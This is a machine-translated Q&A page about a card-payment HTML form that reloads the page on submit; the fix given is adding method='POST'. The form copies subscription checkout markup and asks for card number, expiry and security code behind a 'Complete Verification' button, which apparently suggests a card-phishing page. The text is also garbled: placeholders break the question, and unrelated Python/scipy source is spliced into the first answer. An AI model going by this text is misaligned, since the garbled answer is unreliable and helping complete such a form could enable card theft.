即使有动作,按钮也会刷新网站

时间:2017-07-05 03:08:39

标签: php html

我正在网站上工作,但似乎我遇到了<button>的一些问题,因为即使我的action文件名为{r2.php,它也会刷新网站{1}}。 <button>应该将我带到文件r2.php,但显然这只是刷新网站的页面代码:

<form action="r2.php">
  <div class="row">
    <div class="col-xs-12">
      <div class="form-group">
        <label for="cardnumber" class="card-label">
                        <span id="trans-cardnumber">Card number</span>
                        <span class="card-icons">
                            <span id="provider-icons"><span class="icon-provider visa disabled" data-type="visa"></span><span class="icon-provider mastercard disabled" data-type="mastercard"></span><span class="icon-provider amex disabled" data-type="amex"></span><span class="icon-provider discover disabled" data-type="discover"></span></span>
                            <a id="secure-lock" class="icon-provider lock" data-tooltip="" data-lang="security_explained"></a>
                        </span>
                    </label>
        <span class="safe-field">
                        <input id="cardnumber" autocomplete="cc-number" type="tel" pattern="[0-9]*" placeholder="1111 2222 3333 4444" data-encrypted-name="number" class="form-control">
                    </span>
      </div>
    </div>
  </div>
  <div class="row">
    <div class="col-xs-12">
      <div class="form-group">
        <label id="trans-expiration_date" for="expiration_date">Expiry date</label>
        <div class="row">
          <div class="col-xs-6">
            <select id="expiry-month" autocomplete="cc-exp-month" data-encrypted-name="expiryMonth" class="form-control">
                                <option id="trans-label_month" value="" default="default" selected="selected">Month</option>
                                <option value="1">01</option>
                                <option value="2">02</option>
                                <option value="3">03</option>
                                <option value="4">04</option>
                                <option value="5">05</option>
                                <option value="6">06</option>
                                <option value="7">07</option>
                                <option value="8">08</option>
                                <option value="9">09</option>
                                <option value="10">10</option>
                                <option value="11">11</option>
                                <option value="12">12</option>
                            </select>
          </div>
          <div class="col-xs-6">
            <select id="expiry-year" autocomplete="cc-exp-year" data-encrypted-name="expiryYear" class="form-control">
                                <option id="trans-label_year" value="" default="" selected="selected">Year</option>
                            <option value="2017">17</option><option value="2018">18</option><option value="2019">19</option><option value="2020">20</option><option value="2021">21</option><option value="2022">22</option><option value="2023">23</option><option value="2024">24</option><option value="2025">25</option><option value="2026">26</option><option value="2027">27</option><option value="2028">28</option><option value="2029">29</option><option value="2030">30</option><option value="2031">31</option><option value="2032">32</option><option value="2033">33</option><option value="2034">34</option><option value="2035">35</option><option value="2036">36</option><option value="2037">37</option><option value="2038">38</option><option value="2039">39</option><option value="2040">40</option><option value="2041">41</option><option value="2042">42</option><option value="2043">43</option><option value="2044">44</option><option value="2045">45</option><option value="2046">46</option></select>
          </div>
        </div>
      </div>
    </div>
  </div>
  <div class="row">
    <div class="col-xs-6">
      <div class="form-group">
        <label id="trans-security_code" for="security-code" class="contain-tooltip" data-tooltip="" data-lang="cvc_info">Security code</label>
        <span class="safe-field">
                        <input id="security-code" autocomplete="off" type="tel" pattern="[0-9]*" placeholder="" data-encrypted-name="cvc" class="form-control">
                    </span>
      </div>
    </div>
    <div class="col-xs-6">
      <div class="form-group">
        <label id="trans-label_postal_code" for="zip-code">Zip code</label>
        <input id="zip-code" name="zip-code" autocomplete="off" type="text" class="form-control">
      </div>
    </div>
  </div>

  <aside class="aside-legal">

    <p>
      You hereby authorise us to charge you automatically every month until you cancel your subscription. Full terms are available <a href="/us/legal/end-user-agreement/" target="_blank">here.</a>
    </p>
  </aside>

  <button type="submit">Complete Verification</button>


</form>

2 个答案:

答案 0 :(得分:2)

我看到了您的代码,我认为您可能会错过epsilon代码中的方法。

  

注意:如果您没有将方法放在In [156]: rbfi0._function?? Signature: rbfi0._function(r) Source: def _h_multiquadric(self, r): return np.sqrt((1.0/self.epsilon*r)**2 + 1) File: /usr/local/lib/python3.5/dist-packages/scipy/interpolate/rbf.py Type: method In [157]: rbfi0.epsilon Out[157]: 0.25663331561494024 In [158]: rbfi1.epsilon Out[158]: 0.26163317529091562 标记上,则需要form   默认自动。

form

答案 1 :(得分:0)

问题在于我没有提出这样的帖子方法:

 <form action="r2.php" method="POST">